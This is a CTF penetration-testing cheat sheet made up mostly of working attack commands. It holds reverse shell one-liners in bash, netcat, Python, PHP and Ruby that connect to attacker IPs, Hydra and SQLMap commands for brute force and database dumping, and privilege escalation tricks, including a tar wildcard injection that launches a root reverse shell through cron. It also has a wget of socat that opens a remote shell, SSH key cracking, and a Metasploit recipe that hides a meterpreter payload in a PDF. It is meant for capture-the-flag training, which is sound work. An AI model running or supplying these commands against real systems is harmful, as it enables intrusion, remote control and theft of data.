CTF Cheat-Sheet

Markus Dietz

September 2020

Contents

1 Tools **3**
- 1.1 nmap . . . 3
- 1.2 gobuster . . . 3
- 1.3 nikto . . . 3
- 1.4 Hydra . . . 3
- 1.5 SQLMap . . . 3

2 Reverse Shells **4**
- 2.1 Bash . . . 4
- 2.2 PERL . . . 4
- 2.3 netcat . . . 4
- 2.4 Python . . . 4
- 2.5 PHP . . . 5
- 2.6 Ruby . . . 5

3 Privilege Escalation **5**
- 3.1 sudo -l . . . 5
- 3.2 SUID . . . 5
- 3.3 Wildcard Injection . . . 6

4 Useful stuff **7**
- 4.1 Upgrade your netcat shell . . . 7
- 4.2 Setting up a simple webserver . . . 7

5 Useful Commands **8**
- 5.1 Netcat . . . 8
- 5.2 SSH . . . 8
- 5.3 POP3 . . . 8

6 Samba **9**
6.1 SMBmap 9
6.2 Nmap Scripts for Samba 9
6.3 smbclient 9
6.4 smbget 9
6.5 impacket 9
6.6 Enum4linux 10

7 Miscellaneous **10**
7.1 Embedding an exploit in a pdf file 10

1 Tools

1.1 nmap

```
sudo nmap $IP
-sV: Version Detection
-sC: Default Scripts
-oN: Output File
-p-: All Ports
-A: Aggressive Scan
```

1.2 gobuster

Search for website subdirectories:

```
gobuster dir -u URL -w Wordlist -x Extension
```

Search for subdomains:

```
gobuster vhost -w
    /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u
    http://example.com
```

1.3 nikto

```
nikto -h IP
```

1.4 Hydra

```
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://IP
```

For a Website Login:

```
hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101
    http-post-form
    "/dvwa/login.php:username=^USER^\&password=^PASS^\&Login=Login:Login
    failed" -V
```

1.5 SQLMap

Manual Injection:
https://owasp.org/www-community/attacks/SQL_Injection

To check for a SQL Injection:

```
sqlmap -u http://IP/login.php --forms --risk=3
--level=5 --dbs
```

To dump all contents of a database:

```
sqlmap -u 'http://10.10.81.50/login.php' -forms
-dbs -dump-all -D database
```

2 Reverse Shells

2.1 Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

2.2 PERL

```
--
```

2.3 netcat

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

2.4 Python

As a file:

```
# -*- coding: utf-8 -*-
#!/usr/bin/env python
import socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.9.7.1", 6969))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system("/bin/sh -i")
```

Command line:

```
python -c 'import socket,subprocess,os;s=socket.socket
(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=
subprocess.call(["/bin/sh","-i"]);'
```

2.5 PHP

As a file:

```
wget
    https://raw.githubusercontent.com/blanks-hub/CTF/main/php-reverse-shell.php
```

Command line:

```
php -r '$sock=fsockopen("10.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");'
```

2.6 Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

3 Privilege Escalation

3.1 sudo -l

```
sudo -u user /var/www/gdb -nx -ex '!sh' -ex quit

sudo -u user /usr/bin/git help config
!/bin/sh
```

3.2 SUID

Setuids can be exploited. Research for each abnormal setuid program. To check what we can run as SUID:

```
find / -perm -u=s -type f 2>/dev/null
```

3.3 Wildcard Injection

If there is a command using wildcard that is automatically executed by the target (cronjob as root) it may be vulnerable to wildcard injection.
To demonstrate this we assume that there is a tar cronjob that archives every file in a writable folder with the wildcard *.

```
*/2 * * * * * root tar -zcf /var/backups/docs.tgz /home/user/Documents/*
```

We now can create some files to modify the tar command and execute a reverse shell with it:

```
echo "mkfifo /tmp/lhennp; nc $IP 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp
    2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
```

We can catch the reverse shell with a netcat listener on our machine and we have root!

```
nc -lnvp 8888
```

privilege escalation is such a large topic that it would be impossible to do it proper justice in this type of room. However, it is a necessary topic that must be covered, so rather than making a task with questions, I shall provide you all with some resources.

General:

https://github.com/swisskyrepo/PayloadsAllTheThings (A bunch of tools and payloads for every stage of pentesting)

Linux:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ (a bit old but still worth looking at)

https://github.com/rebootuser/LinEnum(One of the most popular priv esc scripts)

https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh (Another popular script)

https://github.com/mzet-/linux-exploit-suggester (A Script that's dedicated to searching for kernel exploits)

https://gtfobins.github.io (I can not overstate the usefulness of this for priv esc, if a common binary has special permissions, you can use this site to see how to get root perms with it.)

Windows:

https://www.fuzzysecurity.com/tutorials/16.html (Dictates some very useful commands and methods to enumerate the host and gain intel)

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp (A bit old but still an incredibly useful script)

https://github.com/411Hall/JAWS (A general enumeration script)

4 Useful stuff

4.1 Upgrade your netcat shell

Python pty module:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

If you the victim doesn't have python installed:

```
/usr/bin/script -qc /bin/bash /dev/null
```

With socat: Listener:

```
socat file:‘tty‘,raw,echo=0 tcp-listen:4444
```

Victim:

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

If socat isn't installed you can try to get a standalone binary:

```
wget -q
    https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
    -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash
    -li',pty,stderr,setsid,sigint,sane tcp:10.9.7.1:4444
```

With magic:

```
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL-Z
stty raw -echo
fg
reset
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
```

4.2 Setting up a simple webserver

Use this to load files on a other machine. The webservers is hosted in the directory the shell is.

```
python3 -m http.server 1337
```

5 Useful Commands

5.1 Netcat

To listen a port

```
nc -lnvp 1234
```

To send data to a port

```
echo hello | nc <ip> 1234
```

5.2 SSH

Use:

```
ssh $user@$IP
```

If you have found the private key:

```
ssh -i id_rsa $user@$IP
```

If the key has a password:

```
/usr/share/john/ssh2john.py id_rsa > id_rsa_john.txt

john id_rsa_john.txt
--wordlist=/usr/share/wordlists/rockyou.txt
```

5.3 POP3

Connect with netcat:

```
nc $IP $port
```

Most commonly used commands:

```
USER <username>
PASS <password>
STAT
LIST
RETR
DELE
RSET
TOP
QUIT
```

6 Samba

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often refereed to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

6.1 SMBmap

```
smbmap -u admin -p password -h 10.10.10.10 -x "ipconfig"
```

6.2 Nmap Scripts for Samba

nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse 10.10.78.82

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP
```

6.3 smbclient

smbclient allows you to do most of the things you can do with smbmap, and it also offers you and interactive prompt.

```
smbclient //<ip>/anonymous
```

6.4 smbget

```
smbget -R smb://<ip>/anonymous
```

6.5 impacket

impacket is a collection of extremely useful windows scripts. It is worth mentioning here, as it has many scripts available that use samba to enumerate and even gain shell access to windows machines. All scripts can be found here:
`https://github.com/SecureAuthCorp/impacket`

Note: impacket has scripts that use other protocols and services besides samba.

6.6 Enum4linux

```
enum4linux $IP
```

7 Miscellaneous

7.1 Embedding an exploit in a pdf file

This exploit only works on Adobe Reader Version 9.1 or lower.

```
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

msf > exploit (adobe_pdf_embedded_exe) > set payload
windows/meterpreter/reverse_tcp

msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME
chapter1.pdf

msf > exploit (adobe_pdf_embedded_exe) > set FILENAME
chapter1.pdf

msf > exploit (adobe_pdf_embedded_exe) > set LHOST $YOURIP

exploit
```